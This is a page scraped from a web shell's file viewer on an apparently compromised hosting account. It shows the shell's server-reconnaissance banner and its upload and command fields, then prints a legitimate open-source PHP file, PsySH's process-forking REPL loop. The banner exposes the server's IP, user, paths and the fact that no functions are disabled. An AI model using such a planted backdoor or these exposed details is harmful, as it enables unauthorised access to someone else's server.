Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.14.255.58
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/psy/psysh/src/ExecutionLoop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/psy/psysh/src/ExecutionLoop/ProcessForker.php
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2022 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\ExecutionLoop;

use Psy\Context;
use Psy\Exception\BreakException;
use Psy\Shell;

/**
 * An execution loop listener that forks the process before executing code.
 *
 * This is awesome, as the session won't die prematurely if user input includes
 * a fatal error, such as redeclaring a class or function.
 */
class ProcessForker extends AbstractListener
{
    private $savegame;
    private $up;

    private static $pcntlFunctions = [
        'pcntl_fork',
        'pcntl_signal_dispatch',
        'pcntl_signal',
        'pcntl_waitpid',
        'pcntl_wexitstatus',
    ];

    private static $posixFunctions = [
        'posix_getpid',
        'posix_kill',
    ];

    /**
     * Process forker is supported if pcntl and posix extensions are available.
     *
     * @return bool
     */
    public static function isSupported(): bool
    {
        return self::isPcntlSupported() && !self::disabledPcntlFunctions() && self::isPosixSupported() && !self::disabledPosixFunctions();
    }

    /**
     * Verify that all required pcntl functions are, in fact, available.
     */
    public static function isPcntlSupported(): bool
    {
        foreach (self::$pcntlFunctions as $func) {
            if (!\function_exists($func)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether required pcntl functions are disabled.
     */
    public static function disabledPcntlFunctions()
    {
        return self::checkDisabledFunctions(self::$pcntlFunctions);
    }

    /**
     * Verify that all required posix functions are, in fact, available.
     */
    public static function isPosixSupported(): bool
    {
        foreach (self::$posixFunctions as $func) {
            if (!\function_exists($func)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether required posix functions are disabled.
     */
    public static function disabledPosixFunctions()
    {
        return self::checkDisabledFunctions(self::$posixFunctions);
    }

    private static function checkDisabledFunctions(array $functions): array
    {
        return \array_values(\array_intersect($functions, \array_map('strtolower', \array_map('trim', \explode(',', \ini_get('disable_functions'))))));
    }

    /**
     * Forks into a main and a loop process.
     *
     * The loop process will handle the evaluation of all instructions, then
     * return its state via a socket upon completion.
     *
     * @param Shell $shell
     */
    public function beforeRun(Shell $shell)
    {
        list($up, $down) = \stream_socket_pair(\STREAM_PF_UNIX, \STREAM_SOCK_STREAM, \STREAM_IPPROTO_IP);

        if (!$up) {
            throw new \RuntimeException('Unable to create socket pair');
        }

        $pid = \pcntl_fork();
        if ($pid < 0) {
            throw new \RuntimeException('Unable to start execution loop');
        } elseif ($pid > 0) {
            // This is the main thread. We'll just wait for a while.

            // We won't be needing this one.
            \fclose($up);

            // Wait for a return value from the loop process.
            $read = [$down];
            $write = null;
            $except = null;

            do {
                $n = @\stream_select($read, $write, $except, null);

                if ($n === 0) {
                    throw new \RuntimeException('Process timed out waiting for execution loop');
                }

                if ($n === false) {
                    $err = \error_get_last();
                    if (!isset($err['message']) || \stripos($err['message'], 'interrupted system call') === false) {
                        $msg = $err['message'] ?
                            \sprintf('Error waiting for execution loop: %s', $err['message']) :
                            'Error waiting for execution loop';
                        throw new \RuntimeException($msg);
                    }
                }
            } while ($n < 1);

            $content = \stream_get_contents($down);
            \fclose($down);

            if ($content) {
                $shell->setScopeVariables(@\unserialize($content));
            }

            throw new BreakException('Exiting main thread');
        }

        // This is the child process. It's going to do all the work.
        if (!@\cli_set_process_title('psysh (loop)')) {
            // Fall back to `setproctitle` if that wasn't succesful.
            if (\function_exists('setproctitle')) {
                @\setproctitle('psysh (loop)');
            }
        }

        // We won't be needing this one.
        \fclose($down);

        // Save this; we'll need to close it in `afterRun`
        $this->up = $up;
    }

    /**
     * Create a savegame at the start of each loop iteration.
     *
     * @param Shell $shell
     */
    public function beforeLoop(Shell $shell)
    {
        $this->createSavegame();
    }

    /**
     * Clean up old savegames at the end of each loop iteration.
     *
     * @param Shell $shell
     */
    public function afterLoop(Shell $shell)
    {
        // if there's an old savegame hanging around, let's kill it.
        if (isset($this->savegame)) {
            \posix_kill($this->savegame, \SIGKILL);
            \pcntl_signal_dispatch();
        }
    }

    /**
     * After the REPL session ends, send the scope variables back up to the main
     * thread (if this is a child thread).
     *
     * @param Shell $shell
     */
    public function afterRun(Shell $shell)
    {
        // We're a child thread. Send the scope variables back up to the main thread.
        if (isset($this->up)) {
            \fwrite($this->up, $this->serializeReturn($shell->getScopeVariables(false)));
            \fclose($this->up);

            \posix_kill(\posix_getpid(), \SIGKILL);
        }
    }

    /**
     * Create a savegame fork.
     *
     * The savegame contains the current execution state, and can be resumed in
     * the event that the worker dies unexpectedly (for example, by encountering
     * a PHP fatal error).
     */
    private function createSavegame()
    {
        // the current process will become the savegame
        $this->savegame = \posix_getpid();

        $pid = \pcntl_fork();
        if ($pid < 0) {
            throw new \RuntimeException('Unable to create savegame fork');
        } elseif ($pid > 0) {
            // we're the savegame now... let's wait and see what happens
            \pcntl_waitpid($pid, $status);

            // worker exited cleanly, let's bail
            if (!\pcntl_wexitstatus($status)) {
                \posix_kill(\posix_getpid(), \SIGKILL);
            }

            // worker didn't exit cleanly, we'll need to have another go
            $this->createSavegame();
        }
    }

    /**
     * Serialize all serializable return values.
     *
     * A naïve serialization will run into issues if there is a Closure or
     * SimpleXMLElement (among other things) in scope when exiting the execution
     * loop. We'll just ignore these unserializable classes, and serialize what
     * we can.
     *
     * @param array $return
     *
     * @return string
     */
    private function serializeReturn(array $return): string
    {
        $serializable = [];

        foreach ($return as $key => $value) {
            // No need to return magic variables
            if (Context::isSpecialVariableName($key)) {
                continue;
            }

            // Resources and Closures don't error, but they don't serialize well either.
            if (\is_resource($value) || $value instanceof \Closure) {
                continue;
            }

            if (\version_compare(\PHP_VERSION, '8.1', '>=') && $value instanceof \UnitEnum) {
                // Enums defined in the REPL session can't be unserialized.
                $ref = new \ReflectionObject($value);
                if (\strpos($ref->getFileName(), ": eval()'d code") !== false) {
                    continue;
                }
            }

            try {
                @\serialize($value);
                $serializable[$key] = $value;
            } catch (\Throwable $e) {
                // we'll just ignore this one...
            }
        }

        return @\serialize($serializable);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit